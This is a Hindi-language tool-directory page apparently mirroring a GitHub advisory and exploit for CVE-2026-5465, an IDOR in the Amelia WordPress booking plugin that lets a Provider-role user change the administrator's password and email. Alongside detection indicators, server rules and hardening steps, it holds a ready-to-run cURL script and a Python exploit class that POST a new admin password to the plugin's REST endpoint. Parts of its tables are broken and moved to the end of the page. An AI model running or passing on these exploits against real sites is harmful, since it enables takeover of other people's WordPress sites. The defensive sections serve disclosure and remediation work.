Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-5465 — CVE-2026-5465 के लिए शोषण और विश्लेषण, Amelia WordPress प्लगइन में एक IDOR जो प्रमाणित Provider भूमिका को विशेषाधिकार बढ़ाने और असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ के माध्यम से खाता अधिग्रहण प्राप्त करने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/kaleth4/cve-2026-5465
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगगलत कॉन्फ़िगरेशन
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

CVE-2026-5465 के लिए शोषण और विश्लेषण, Amelia WordPress प्लगइन में एक IDOR जो प्रमाणित Provider भूमिका को विशेषाधिकार बढ़ाने और असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ के माध्यम से खाता अधिग्रहण प्राप्त करने की अनुमति देता है।

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-5465: Amelia WordPress प्लगइन में विशेषाधिकार वृद्धि (Privilege Escalation)

⚠️ कार्यकारी सारांश

Amelia प्लगइन में असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) की गंभीर भेद्यता, जो कर्मचारी (Provider) भूमिका वाले प्रमाणित उपयोगकर्ता को WordPress साइट का पूर्ण नियंत्रण (Account Takeover) लेने तक विशेषाधिकार बढ़ाने की अनुमति देती है, जिसमें प्रशासनिक पहुंच भी शामिल है।


📋 भेद्यता डेटा

विशेषतामान
CVE IDCVE-2026-5465
सॉफ्टवेयरAmelia – Appointment Booking Calendar
प्रभावित संस्करण≤ 2.1.3
पैच किया गया संस्करण≥ 2.2.0
प्रकारअसुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) / टूटा एक्सेस नियंत्रण
वेक्टरनेटवर्क (प्रमाणित)
जटिलताकम
प्रभावगंभीर (Account Takeover)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 (प्राधिकरण बाईपास)

🔍 तकनीकी विश्लेषण

शोषण तंत्र

यह दोष UpdateProviderCommandHandler क्लास में है जो प्रदाता प्रोफ़ाइल अपडेट को संसाधित करता है।

असुरक्षित प्रवाह:

root@kitploit:~
1. "Provider" (कर्मचारी) के रूप में प्रमाणित उपयोगकर्ता
   ↓
2. अपडेट एंडपॉइंट पर POST अनुरोध भेजता है
   {
     "externalId": 1,  // एडमिन का ID (हमलावर का नहीं)
     "firstName": "हैक किया गया एडमिन",
     "email": "[email protected]",
     "password": "नया_पासवर्ड"
   }
   ↓
3. सिस्टम यह सत्यापित नहीं करता कि 'externalId' वर्तमान उपयोगकर्ता का है
   ↓
4. wp_set_password(externalId, new_password) का उपयोग करता है
   ↓
5. एडमिन का पासवर्ड बदल गया → Account Takeover

मूल कारण

संवेदनशील डेटा संसाधित करने से पहले स्वामित्व जांच (Ownership Check) का अभाव:

root@kitploit:~
// असुरक्षित कोड (सरलीकृत)
public function updateProvider($providerId, $data) {
    // ❌ यह सत्यापित नहीं करता कि providerId == वर्तमान_उपयोगकर्ता
    $provider = Provider::find($providerId);
    
    // बिना सत्यापन के सीधे निष्पादित करता है
    wp_set_password($data['password'], $provider->wp_user_id);
}

// सही कोड
public function updateProvider($providerId, $data) {
    // ✅ स्वामित्व सत्यापित करता है
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

शोषण योग्य पैरामीटर


💣 प्रूफ ऑफ कॉन्सेप्ट

आवश्यकताएँ

  • "Provider" (कर्मचारी) भूमिका वाला उपयोगकर्ता खाता
  • साइट तक प्रमाणित पहुंच
  • WordPress साइट URL

मैनुअल शोषण (cURL)

root@kitploit:~
#!/bin/bash

TARGET="https://example.com"
PROVIDER_TOKEN="provider_ka_prमाणित_token"
ADMIN_ID=1

# सुरक्षा NONCE प्राप्त करें (यदि मौजूद है)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# दुर्भावनापूर्ण अपडेट निष्पादित करें
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] यदि उत्तर 200 है, तो एडमिन से समझौता हो गया"

स्वचालित शोषण (Python)

root@kitploit:~
import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """एडमिन का पासवर्ड बदलने के लिए IDOR का शोषण करता है"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] शोषित: उपयोगकर्ता {target_user_id} से समझौता हुआ")
                print(f"[*] नया पासवर्ड: {new_password}")
                return True
            else:
                print(f"[✗] विफल: {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] कनेक्शन त्रुटि: {e}")
            return False

# उपयोग
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://example.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ समझौते के संकेतक (IoC)

जाँचने योग्य लॉग

WordPress ऑडिट लॉग (यदि स्थापित है):

root@kitploit:~
उपयोगकर्ता: [Provider ID]
कार्रवाई: उपयोगकर्ता पासवर्ड बदला गया
प्रभावित उपयोगकर्ता: व्यवस्थापक
टाइमस्टैम्प: [संदिग्ध समय]

सर्वर लॉग (Apache/Nginx):

root@kitploit:~
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [उच्च]
→ उत्तर 200 OK

WordPress डेटाबेस:

root@kitploit:~
-- अनधिकृत पासवर्ड परिवर्तन
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- संदिग्ध ईमेल परिवर्तन
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

चेतावनी संकेत

  • ✗ मालिक के अनुरोध के बिना एडमिन पासवर्ड में परिवर्तन
  • ✗ /wp-json/amelia/v1/providers/ पर कई POST प्रयास
  • ✗ नए/असामान्य IPs से प्रशासनिक पहुंच
  • ✗ Administrator भूमिका वाले नए उपयोगकर्ताओं का निर्माण
  • ✗ Provider भूमिका से प्लगइन कॉन्फ़िगरेशन में परिवर्तन
  • ✗ हटाए गए या छोटे किए गए एक्सेस लॉग

🔧 तत्काल शमन

1. प्लगइन अपडेट करें (पसंदीदा विकल्प)

root@kitploit:~
# WordPress एडमिन पैनल के माध्यम से
1. जाएं: प्लगइन्स > इंस्टॉल किए गए प्लगइन्स
2. खोजें: "Amelia"
3. क्लिक करें: "अभी अपडेट करें"
4. न्यूनतम सुरक्षित संस्करण: 2.2.0+

# WP-CLI के माध्यम से
wp plugin update amelia --allow-root

2. प्लगइन अस्थायी रूप से निष्क्रिय करें

root@kitploit:~
# WP-CLI के माध्यम से
wp plugin deactivate amelia --allow-root

# FTP/SFTP के माध्यम से
नाम बदलें: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. सर्वर-स्तरीय प्रतिबंध

Nginx (nginx.conf):

root@kitploit:~
location ~ /wp-json/amelia/v1/providers/ {
    # केवल GET अनुमति दें
    if ($request_method = POST) {
        return 403;
    }
}

Apache (.htaccess):

root@kitploit:~
<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 समझौते के बाद के कदम

यदि साइट पहले ही शोषित हो चुकी है:

1. पासवर्ड बदलें (तत्काल)

root@kitploit:~
-- CLI के माध्यम से एडमिन पासवर्ड बदलें
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. उपयोगकर्ताओं और परिवर्तनों का ऑडिट करें

root@kitploit:~
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. सक्रिय सत्रों की समीक्षा करें

root@kitploit:~
# प्लगइन स्थापित करें और जांचें: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. सुरक्षा कुंजियाँ रीसेट करें

root@kitploit:~
// wp-config.php में, पुनर्जीवित करें:
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 दीर्घकालिक हार्डनिंग

1. WAF (वेब एप्लिकेशन फ़ायरवॉल) लागू करें

root@kitploit:~
Cloudflare WAF नियम:
- ब्लॉक करें: गैर-whitelisted IPs से /wp-json/amelia/v1/providers/[0-9]+ पर POST

2. निरंतर निगरानी

root@kitploit:~
# ऑडिट प्लगइन्स स्थापित करें
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root

3. भूमिका और अनुमति प्रबंधन

root@kitploit:~
// Provider की क्षमताएं सीमित करें
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');

4. एंडपॉइंट्स पर रेट लिमिटिंग

root@kitploit:~
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;

location ~ /wp-json/amelia/v1/ {
    limit_req zone=amelia_zone burst=20 nodelay;
}

📊 खोज की समयरेखा

तारीखघटना
2026-01-15भेद्यता Amelia टीम को रिपोर्ट की गई
2026-02-01पैच उपलब्ध (v2.2.0)

📞 सहायता संपर्क

  • Amelia आधिकारिक: https://ameliabooking.com
  • Wordfence थ्रेट इंटेलिजेंस: https://wordfence.com
  • WordPress सुरक्षा: https://wordpress.org/plugins/wordfence/
  • CERT समन्वय केंद्र: https://www.cert.org

📚 संदर्भ

  • OWASP: टूटा एक्सेस नियंत्रण
  • CWE-639: प्राधिकरण बाईपास
  • NIST: विशेषाधिकार वृद्धि
  • Amelia सुरक्षा सलाह

वर्गीकरण: 🔴 गंभीर - तत्काल कार्रवाई की आवश्यकता
अंतिम अपडेट: अप्रैल 2026
लेखक: सुरक्षा टीम

टूल डाउनलोड करें
पैरामीटरप्रकारप्रभाव
externalIdपूर्णांकपहचान परिवर्तन (मुख्य IDOR)
passwordस्ट्रिंगपासवर्ड संशोधन
emailईमेलरीसेट होने पर सत्र चोरी
firstName, lastNameस्ट्रिंगगैर-महत्वपूर्ण डेटा परिवर्तन
2026-02-10CVE का जिम्मेदार प्रकाशन
2026-02-11जंगल में शोषण
आजतत्काल अपडेट की अनुशंसा